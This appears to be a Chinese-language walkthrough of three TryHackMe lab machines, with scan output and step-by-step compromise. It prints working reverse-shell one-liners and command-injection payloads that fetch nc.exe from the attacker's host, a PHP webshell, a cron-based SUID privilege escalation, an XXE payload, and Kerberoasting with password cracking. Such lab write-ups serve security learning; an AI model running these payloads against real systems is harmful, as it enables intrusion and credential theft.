免责申明
本文浸透的主机通过非法受权。本文应用的工具和办法仅限学习交换应用,请不要将文中应用的工具和浸透思路用于任何非法用处,对此产生的所有结果,自己不承当任何责任,也不对造成的任何误用或侵害负责。
Easy Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackerhill]└─# nmap -sV -Pn 10.10.134.251 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-25 04:36 EDTNmap scan report for 10.10.134.251Host is up (0.31s latency).Not shown: 994 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.29 ((Ubuntu))8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))8001/tcp open http Apache httpd 2.4.29 ((Ubuntu))8002/tcp open http Apache httpd 2.4.29 ((Ubuntu))9999/tcp open abyss?
爆破8000端口的目录
──(rootkali)-[~/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u 10.10.134.251:8000 _|. _ _ _ _ _ _|_ v0.3.8(_||| _) (/_(_|| (_| )Extensions: * | HTTP method: get | Threads: 100 | Wordlist size: 6100Error Log: /root/dirsearch/logs/errors-21-10-25_04-57-13.logTarget: 10.10.134.251:8000 [04:57:13] Starting: [04:57:22] 200 - 2KB - /about [04:57:33] 200 - 2KB - /contact [04:57:47] 500 - 613B - /public_html/robots.txt [04:57:47] 200 - 30B - /robots.txt
robots.txt
显示有一个cms
User-agent: *Disallow: /vbcms
关上是一个登陆页面,尝试用admin:admin
登陆,竟然登陆上了。。。
登陆进去是一个页面编辑界面,能够间接改网页源代码,尝试写php发现能够运行,那就简略了,间接写shell。。。
开启一个端口监听,把shell写进首页,拜访,触发反弹
┌──(rootkali)-[~/tryhackme/hackerhill]└─# nc -lnvp 1234listening on [any] 1234 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.134.251] 59268Linux web-serv 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 10:30:53 up 1:08, 0 users, load average: 0.00, 0.00, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=1000(serv1) gid=1000(serv1) groups=1000(serv1),43(utmp)/bin/sh: 0: can't access tty; job control turned off$ iduid=1000(serv1) gid=1000(serv1) groups=1000(serv1),43(utmp)$ whoamiserv1
依据提醒,第一个flag在/usr/games/fortune
,去到这个网站兑换到tryhackme须要的flag
而后第二个,第三个依照批示去到/var/lib/rary
和/var/www/serv4/index.php
起下面网站兑换指定flag
提权
传linpeas.sh,发现/home/serv3/backups/backup.sh
这个定时工作是用root身份执行的,频率为一分钟一次
查看bash文件权限
serv1@web-serv:/tmp$ ls -alh /home/serv3/backups/backup.shls -alh /home/serv3/backups/backup.sh-r-xr-xr-x 1 serv3 serv3 52 Feb 15 2021 /home/serv3/backups/backup.sh
serv1没有权限编辑这个文件,也就是说咱们须要横向提权到serv3?
在/var/www/html/topSecretPrivescMethod
找到一个secret.txt,看文件夹名字是提权办法,然而关上是一串乱码
在:8002/lesson/1
这个php运行页面,原本能够间接运行php反弹shell,然而因为页面连贯了一个谷歌前端框架,我kali不能翻墙,所以不能运行反弹不了shell
于是钻研了下怎么在linux下连v2ray,终于找到了这篇文章,依照外面的办法fq胜利
回到下面那个页面,写入php反弹shell,拿到serv3的shell
┌──(rootkali)-[~/tryhackme/hackhill]└─# nc -lnvp 4444 1 ⨯listening on [any] 4444 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.172.149] 33814Linux web-serv 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 14:49:20 up 1:13, 0 users, load average: 0.00, 0.00, 0.00USER TTY FROM LOGIN@ IDLE JCPU PCPU WHATuid=1002(serv3) gid=1002(serv3) groups=1002(serv3)/bin/sh: 0: can't access tty; job control turned off$ iduid=1002(serv3) gid=1002(serv3) groups=1002(serv3)
咱们写入上面命令到backup.sh,使得bash命令成为一个SUIDecho "chmod 4777 /bin/bash" >> /home/serv3/backups/backup.sh
期待一分钟当前,执行/bin/bash -p
拿到root权限
serv3@web-serv:/$ /bin/bash -p /bin/bash -p bash-4.4# id id uid=1002(serv3) gid=1002(serv3) euid=0(root) groups=1002(serv3) bash-4.4# cat /root/root.txt
Medium Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackhill]└─# nmap -sV -Pn 10.10.48.179 130 ⨯Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-25 10:00 EDTNmap scan report for 10.10.48.179Host is up (0.32s latency).Not shown: 985 filtered portsPORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.081/tcp open http Microsoft IIS httpd 10.082/tcp open http Microsoft IIS httpd 10.088/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-10-25 14:01:00Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: troy.thm0., Site: Default-First-Site-Name)445/tcp open microsoft-ds?464/tcp open kpasswd5?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: troy.thm0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped3389/tcp open ms-wbt-server Microsoft Terminal Services9999/tcp open abyss?
中等难度是一台windows机器,开了很多服务,一个个查看
80,81,82都是http服务,一一爆破目录
80
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.48.179/_21-10-25_10-10-52.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-10-52.logTarget: http://10.10.48.179/[10:10:53] Starting: [10:11:00] 200 - 2KB - /%3f/ [10:11:00] 403 - 312B - /%2e%2e//google.com [10:11:00] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:11:09] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd [10:11:28] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:11:33] 302 - 0B - /dashboard -> /login [10:11:48] 200 - 3KB - /login [10:11:48] 200 - 3KB - /login/ [10:11:49] 302 - 0B - /logout/ -> / [10:11:49] 302 - 0B - /logout -> / [10:12:26] 302 - 0B - /profile -> /login [10:12:45] 200 - 3KB - /signup
81
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179:81 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.48.179-81/_21-10-25_10-27-15.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-27-15.logTarget: http://10.10.48.179:81/[10:27:16] Starting: [10:27:22] 200 - 5KB - /%3f/ [10:27:22] 403 - 312B - /%2e%2e//google.com [10:27:23] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:27:31] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd [10:27:57] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:28:32] 400 - 24B - /ping
82
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.48.179:82 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.48.179-82/_21-10-25_10-29-15.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-25_10-29-15.logTarget: http://10.10.48.179:82/[10:29:16] Starting: [10:29:24] 403 - 312B - /%2e%2e//google.com [10:29:25] 404 - 1KB - /+CSCOE+/session_password.html [10:29:25] 404 - 1KB - /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../[10:29:25] 404 - 1KB - /+CSCOE+/logon.html#form_title_text [10:29:25] 404 - 1KB - /+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua[10:29:25] 403 - 312B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:29:26] 404 - 1KB - /.config/psi+/profiles/default/accounts.xml [10:29:41] 403 - 312B - /\..\..\..\..\..\..\..\..\..\etc\passwd [10:30:15] 404 - 1KB - /bitrix/web.config [10:30:17] 403 - 312B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [10:30:19] 404 - 1KB - /cms/Web.config [10:30:30] 404 - 1KB - /examples/jsp/%252e%252e/%252e%252e/manager/html/ [10:30:41] 404 - 1KB - /lang/web.config [10:30:50] 404 - 1KB - /modules/web.config [10:31:00] 404 - 1KB - /plugins/web.config [10:31:19] 404 - 1KB - /typo3conf/ext/static_info_tables/ext_tables_static+adt-orig.sql[10:31:19] 404 - 1KB - /typo3conf/ext/static_info_tables/ext_tables_static+adt.sql[10:31:24] 404 - 1KB - /web.config
80服务运行一个上传服务,然而只能指定.jpg
文件上传,试了绕不过来
81服务运行了一个ping域名的服务,尝试命令行绕过,貌似不行
82服务没看到啥有用的货色
81端口看url:81/ping?id=1
,测试了一下,存在sql注入,那么应该这个才是攻击点
枚举数据库
sqlmap -u "http://10.10.48.179:81/ping?id=1" -p "id" --batch --dbms=mysql --technique B --dbsavailable databases [2]:[*] information_schema[*] networkmonitor
其余信息
数据表:host 表字段:id,ip
用户名:monitor_read@localhot
明码:枚举不进去
getshell
这个shell始终打不进去,这里参考大佬的办法
在http://10.10.48.179/profile
页面,用户名这个字段能够自在批改
而且每次批改完,上传后的门路随即也会被扭转
由此能够猜测上传代码可能为:
$old_username = 'admin'$new_username = $GET['username']system('mv ' . $old_username . ' '. $new_username)
因为$old_username这里是用户能够管制的,也就是说可能存在命令行注入破绽
验证:
在攻击机开启tcpdump监听所有icmp包
tcpdump -i tun0 icmp
批改用户名payload为:admin_test | ping 10.13.21.169
如果监听能收到ping包,阐明咱们的命令注入胜利
胜利收到ping包:
┌──(rootkali)-[~]└─# tcpdump -i tun0 icmp 1 ⨯tcpdump: verbose output suppressed, use -v[v]... for full protocol decodelistening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes09:36:08.012297 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 13, length 4009:36:08.012335 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 13, length 4009:36:09.008655 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 14, length 4009:36:09.008693 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 14, length 4009:36:10.024224 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 15, length 4009:36:10.024241 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 15, length 4009:36:11.047680 IP 10.10.48.179 > 10.13.21.169: ICMP echo request, id 1, seq 16, length 4009:36:11.047696 IP 10.13.21.169 > 10.10.48.179: ICMP echo reply, id 1, seq 16, length 40
把nc.exe传到靶机,以便咱们反弹shell
curl -H "Cookie:token=eyJ1c2VybmFtZSI6ImFkbWluIiwiY29va2llIjoiZWRkYjkzY2UxODY5OTkwZDMyY2Y3ZWMzYTQyYWQxYzgifQ==" -XPOST http://10.10.48.179/profile -d 'username=asd | powershell curl 10.13.21.169:8000/nc.exe -o nc.exe'
另起一个窗口监听nc -lnvp 4242
靶机触发payload:
admin1 | nc.exe 10.13.21.169 4242 -e powershell
收到反弹shell
┌──(rootkali)-[~]└─# nc -lnvp 4242 listening on [any] 4242 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 50099Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.PS C:\Users\agamemnon\Desktop\WebApp\public> whoamiwhoamitroy\agamemnon
在C:\Users\agamemnon\Desktop
拿到用户agamemnon
的flag
查看一共有多少个用户
PS C:\> net usersnet usersUser accounts for \\TROY-DC-------------------------------------------------------------------------------achilles Administrator agamemnon Guest hector helen krbtgt patrocles
传winPEASx64.exe枚举,简直没有什么有用的信息
第二个shell
因为咱们之前曾经晓得81端口存在一个sql注入,察看这个webapp的性能,如果咱们可能扭转host表ip这个字段的值,那么咱们同样也能够利用命令行注入拿到另外一个shell
通过多翻测试,以后账号没有权限插入和批改数据库里的数据
这里应用CONCAT函数把注入命令当做一个字符串拼接到返回的后果当中,因为id=9999查问不到数据,返回的是一个空串,UNION把后果和"|ipconfig"连贯在了一起,所以程序最初执行的命令是ping |ipconfig
payload如下:id=9999 UNION SELECT NULL,CONCAT("|","ipconfig")-- -
注入用burpsuite时下面的payload要用urlencode加密一下,否则会报400
因为咱们当初曾经能够注入命令,像后面那个shell一样咱们把nc.exe传到靶机,而后再攻击机开启监听,拿到反弹shell
传nc.exe
id=9999 UNION SELECT NULL,CONCAT("|","powershell curl 10.13.21.169:8000/nc.exe -o nc.exe")-- -
本地监听
nc -lnvp 4444
反弹
id=9999 UNION SELECT NULL,CONCAT("|","nc.exe 10.13.21.169 4444 -e powershell")-- -
拿shell
──(rootkali)-[~/tryhackme/hackerhill]└─# nc -lnvp 4444listening on [any] 4444 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 52658Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.PS C:\Users\helen\Desktop\WebApp\h1-tryhackme-medium-two-main\public> lsPS C:\Users\helen\Desktop\WebApp\h1-tryhackme-medium-two-main\public> whoamiwhoamitroy\helen
在C:\Users\helen\Desktop
拿到helen的flag
第三个shell
82端口这个webapp的getshell十分的trick,以下解法参考了大佬的办法
剖析
首先这是一个提交框,数据被提交到后盾当前,在第二页的源代码正文会呈现这样一行文字:
Ticket saved to ../tickets/
然而无论咱们怎么拜访,失常状况下都是不能拜访tickets这个文件夹的
因为依照之前的教训,所有的webapp其实都是在public下,所以只有咱们可能疏导这个门路到public下,实践上咱们就能在web上拜访到tikeit的内容
通过测试Email Address这个字段能够承受双引号,邮箱格局结尾也容许.php
因而咱们的payload如下:
Email Address: "../public/"@admin.php*
Name: <?php system($_GET['c']); ?\>*
Message: <?php system($_GET['c']); ?\>*
上传当前显示:
saved to ../tickets/../public/@aaa.php
触发拜访:
http://10.10.48.179:82/@aaa.php?c=whoami
页面显示whoami命令返回
当初咱们失去了一个简略的交互式shell
传nc.exe
http://10.10.48.179:82/@aaa.php?c=powershell curl 10.13.21.169:8000/nc.exe -o nc.exe
本地监听
nc -lnvp 4445
反弹
http://10.10.48.179:82/@aaa.php?c=nc.exe 10.13.21.169 4445 -e powershell
拿shell
┌──(rootkali)-[~/tryhackme/hackerhill]└─# nc -lnvp 4445listening on [any] 4445 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.48.179] 49810Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.PS C:\Users\hector\Desktop\WebApp\h1-tryhackme-medium-three-main\public> whoamiwhoamitroy\hector
在C:\Users\hector\Desktop
拿到hector的flag
提权
把Rubeus.exe传到靶机
PS C:\Users\hector\Desktop> powershell curl 10.13.21.169:8000/Rubeus.exe -o Rubeus.exepowershell curl 10.13.21.169:8000/Rubeus.exe -o Rubeus.exe
dump出用户哈希存到hash.txt
PS C:\Users\hector\Desktop> .\Rubeus.exe kerberoast /outfile:dump.txt.\Rubeus.exe kerberoast /outfile:dump.txt ______ _ (_____ \ | | _____) )_ _| |__ _____ _ _ ___ | __ /| | | | _ \| ___ | | | |/___) | | \ \| |_| | |_) ) ____| |_| |___ | |_| |_|____/|____/|_____)____/(___/ v2.0.0 [*] Action: Kerberoasting[*] NOTICE: AES hashes will be returned for AES-enabled accounts.[*] Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.[*] Target Domain : troy.thm[*] Searching path 'LDAP://TROY-DC.troy.thm/DC=troy,DC=thm' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'[*] Total kerberoastable users : 1[*] SamAccountName : achilles[*] DistinguishedName : CN=Achilles,OU=Created Users,DC=troy,DC=thm[*] ServicePrincipalName : TIME/TROY-DC.TROY.THM[*] PwdLastSet : 19/02/2021 18:32:09[*] Supported ETypes : RC4_HMAC_DEFAULT[*] Hash written to C:\Users\hector\Desktop\dump.txt[*] Roasted hashes written to : C:\Users\hector\Desktop\dump.txt
把dump.txt传回kali,用john破解
┌──(rootkali)-[~/tryhackme/hackerhill]└─# john dump.txt --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])Will run 4 OpenMP threadsPress 'q' or Ctrl-C to abort, almost any other key for statuswinniethepooh (?)1g 0:00:00:00 DONE (2021-10-28 02:40) 50.00g/s 153600p/s 153600c/s 153600C/s slimshady..dangerousUse the "--show" option to display all of the cracked passwords reliablySession completed
失去achilles的登陆密码
登陆Achilles的账号,发现原来曾经是system权限
┌──(rootkali)-[~/windowns-privilege/impacket]└─# /opt/impacket/build/scripts-3.9/psexec.py TROY.thm/Achilles:winniethepooh@10.10.48.179Impacket v0.9.24.dev1+20210906.175840.50c76958 - Copyright 2021 SecureAuth Corporation[*] Requesting shares on 10.10.48.179.....[*] Found writable share ADMIN$[*] Uploading file cbyYanQp.exe[*] Opening SVCManager on 10.10.48.179.....[*] Creating service CRPo on 10.10.48.179.....[*] Starting service CRPo.....[!] Press help for extra shell commandsMicrosoft Windows [Version 10.0.17763.1757](c) 2018 Microsoft Corporation. All rights reserved.C:\Windows\system32>whoamint authority\system
因为曾经拿到了system权限,至此咱们拿到了此靶机的所有flag
Hard Challenge
服务发现
┌──(rootkali)-[~/tryhackme/hackerhill]└─# nmap -sV -Pn 10.10.243.173 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-28 04:04 EDTNmap scan report for 10.10.243.173Host is up (0.33s latency).Not shown: 993 closed portsPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)80/tcp open http Apache httpd 2.4.41 ((Ubuntu))81/tcp open http nginx 1.18.0 (Ubuntu)82/tcp open http Apache httpd 2.4.41 ((Ubuntu))2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)8888/tcp open http Werkzeug httpd 0.16.0 (Python 3.8.5)9999/tcp open abyss?
开了两个ssh服务,以及4个http服务,8888那个端口用的是python做的webapp
咱们一个个查看。。。
81端口
目录爆破
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -u http://10.10.243.173:81/ -e* -t 100 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| ) Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-81/-_21-10-28_08-54-57.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_08-54-57.logTarget: http://10.10.243.173:81/[08:54:59] Starting: [08:55:40] 200 - 409KB - /access_log [08:55:52] 301 - 178B - /images -> http://10.10.243.173/images/ [08:55:52] 403 - 564B - /images/ Task Completed
/access_log 第一个拜访记录裸露一个文件夹/s3cr3t_area
,关上是一张图片,感觉没啥有用的信息。
82端口
目录爆破
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -u http://10.10.243.173:82/ -e* -t 100 2 ⨯ _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bakHTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-82/-_21-10-28_08-49-12.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_08-49-12.logTarget: http://10.10.243.173:82/[08:49:13] Starting: [08:49:32] 400 - 304B - /.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [08:50:35] 400 - 304B - /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd [08:50:50] 200 - 21B - /feed [08:50:55] 301 - 316B - /images -> http://10.10.243.173:82/images/ [08:51:23] 200 - 2KB - /search [08:51:31] 301 - 0B - /t -> /t/
在http://10.10.243.173:82/t/r/y/h/a/r/d/e/r/spamlog.log
找到信息
Nahamsec made me do it :(
没卵用
一个搜寻框,在burpsuite上把搜寻申请信息截取进去,保留到data2文件
└─# cat data2 POST /search HTTP/1.1Host: 10.10.243.173:82User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 3Origin: http://10.10.243.173:82Connection: closeReferer: http://10.10.243.173:82/searchUpgrade-Insecure-Requests: 1q=a
sqlmap测试证实存在sql注入,payload为:
sqlmap -r data2 --level=5 --risk=3 --dbms=mysql
Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: q=1%' AND 3240=3240 AND 'UEDj%'='UEDj
枚举到的信息有:
数据库:hillpics
表:hill
以后用户:'hill'@'localhost'
明码:无奈获取
以后用户角色和权限: USAGE (最低权限)
os-shell:无奈获取
其余没有什么有用的信息
8888端口
爆破目录
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173:8888 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bakHTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.243.173-8888/_21-10-28_09-36-47.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_09-36-47.logTarget: http://10.10.243.173:8888/[09:36:47] Starting: [09:38:05] 200 - 135B - /apps [09:39:19] 200 - 45B - /users Task Completed
/apps打印:
{"app1": {"name": "online file storage"}, "app2": {"name": "media player"}, "app3": {"name": "file sync"}, "app4": {"name": "/users"}}
/users打印:
{"user": {"davelarkin": "totallysecurehuh"}}
这里爆出了davelarkin的ssh登录凭证,通过2222端口拿到了flag4
┌──(rootkali)-[~/.ssh]└─# ssh davelarkin@10.10.243.173 -p 2222 255 ⨯The authenticity of host '[10.10.243.173]:2222 ([10.10.243.173]:2222)' can't be established.ECDSA key fingerprint is SHA256:D0vPRUo5EfUivVKiJf3i6JIOF50DxmKg/avxmu6bx4o.Are you sure you want to continue connecting (yes/no/[fingerprint])? yesWarning: Permanently added '[10.10.243.173]:2222' (ECDSA) to the list of known hosts.davelarkin@10.10.243.173's password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-1037-aws x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantageThis system has been minimized by removing packages and content that arenot required on a system that users do not log into.To restore this content, you can run the 'unminimize' command.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.The programs included with the Ubuntu system are free software;the exact distribution terms for each program are described in theindividual files in /usr/share/doc/*/copyright.Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted byapplicable law.davelarkin@a9ef0531077f:~$ whoamidavelarkindavelarkin@a9ef0531077f:~$ lsapi bin container4_flag.txtdavelarkin@a9ef0531077f:~$ cat container4_flag.txt
传linpeas发现是在docker内
浸透80端口的http服务
目录爆破
┌──(rootkali)-[~/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173 _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/dirsearch/reports/10.10.243.173/_21-10-28_04-15-43.txtError Log: /root/dirsearch/logs/errors-21-10-28_04-15-43.logTarget: http://10.10.243.173/[04:15:44] Starting: [04:16:50] 200 - 136B - /api [04:16:50] 200 - 136B - /api/ [04:17:27] 200 - 2KB - /login [04:17:28] 200 - 2KB - /login/ [04:17:29] 302 - 0B - /logout -> /login [04:17:29] 302 - 0B - /logout/ -> /login [04:17:52] 302 - 0B - /shell -> /login [04:17:52] 302 - 0B - /shell/ -> /login
咱们看到至多有三个文件夹,shell这个文件夹应该有乏味的货色,然而重定向到了login
api文件夹能够失常关上,打印了一串json,裸露进去Apache,php,mysql的版本号,数据库名字:servermanager
{"name":"Server Manager","stack":{"nginx":"Apache/2.4.41 (Ubuntu)","php":"7.4.3","mysql":{"version":"5.6","database":"servermanager"}}}
login页面源代码显示,如果胜利登录,将被导向一个token页面,并且能够携带一个参数
<script> $('.login').click( function(){ $.post('/api/user/login',{ 'username' : $('input[name="username"]').val(), 'password' : $('input[name="password"]').val() },function(resp){ if( resp.login ){ window.location = '/token?token=' + resp.token; }else{ alert( resp.error ); } }); })</script>
看样子像是一个servermanager数据库的登陆页面。不晓得用户名
持续对/api/user
爆破
┌──(rootkali)-[~/tryhackme/dirsearch]└─# python3 dirsearch.py -e* -t 100 -u http://10.10.243.173/api/user _|. _ _ _ _ _ _|_ v0.4.2 (_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, pl, html, htm, js, json, tar.gz, bak | HTTP method: GET | Threads: 100 | Wordlist size: 15492Output File: /root/tryhackme/dirsearch/reports/10.10.243.173/-api-user_21-10-28_09-49-39.txtError Log: /root/tryhackme/dirsearch/logs/errors-21-10-28_09-49-39.logTarget: http://10.10.243.173/api/user/[09:49:41] Starting: [09:51:22] 200 - 53B - /api/user/login [09:51:22] 200 - 53B - /api/user/login/ [09:51:44] 200 - 91B - /api/user/session/ [09:51:44] 200 - 91B - /api/user/session
/api/user/session/
打印
{"active_sessions":[{"id":1,"username":"admin","hash":"1b4237f476826986da63022a76c35bb1"}]}
貌似能够必定用户名就是admin
1b4237f476826986da63022a76c35bb1是md5密文,解密当前是:dQw4w9WgXcQ
然而admin:dQw4w9WgXcQ
不能登录
what the fuck....
这串乖僻的符号和youtube上的这个视频的id竟然一样:
视频是Rick Astley - Never Gonna Give You Up (Official Music Video),不晓得是作者在叫我不要放弃还是有什么提醒。。。
爆破admin账号不胜利,sql注入也没有后果。在我教训范畴内,我曾经用尽了所有办法,所以这个时候我只能看大佬walkthrough了: )
原来是在burpsuite里用xml注入
payload
GET /api/user?xml HTTP/1.1Host: 10.10.243.173User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0Content-Length: 148<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY ac SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]><foo><id>∾</id></foo>
返回了index.php的base64密文,解进去是:
<?phpinclude_once('../Autoload.php');include_once('../Route.php');include_once('../Output.php');include_once('../View.php');Route::load();Route::run();
最初在../controllers/Api.php
找到admin的登录凭证:niceWorkHackerm4n
登录进去后在靶机提供的webshell栏写payload:
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.13.21.169",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
收到反弹shell
└─# nc -lnvp 4242listening on [any] 4242 ...connect to [10.13.21.169] from (UNKNOWN) [10.10.243.173] 59426$ lslsbootstrap.min.css bootstrap.min.js index.php jquery.min.js script.js
查看/etc/passwd
咱们晓得admin是零碎里的期中一个用户,因为咱们曾经晓得admin的明码,这个时候原本能够间接su admin
然而这个零碎并没有su 命令,这个时候能够应用ssh来转换角色
ssh admin@localhost sh
www-data@6b364d3940e6:/var/www/html/public$ ssh admin@localhost shssh admin@localhost shadmin@localhost's password: iduid=1000(admin) gid=1000(admin) groups=1000(admin),27(sudo)whoamiadmin
这个时候不要切换成tty,用sudo -l查看admin的超级权限,发现能够用/usr/bin/nsenter
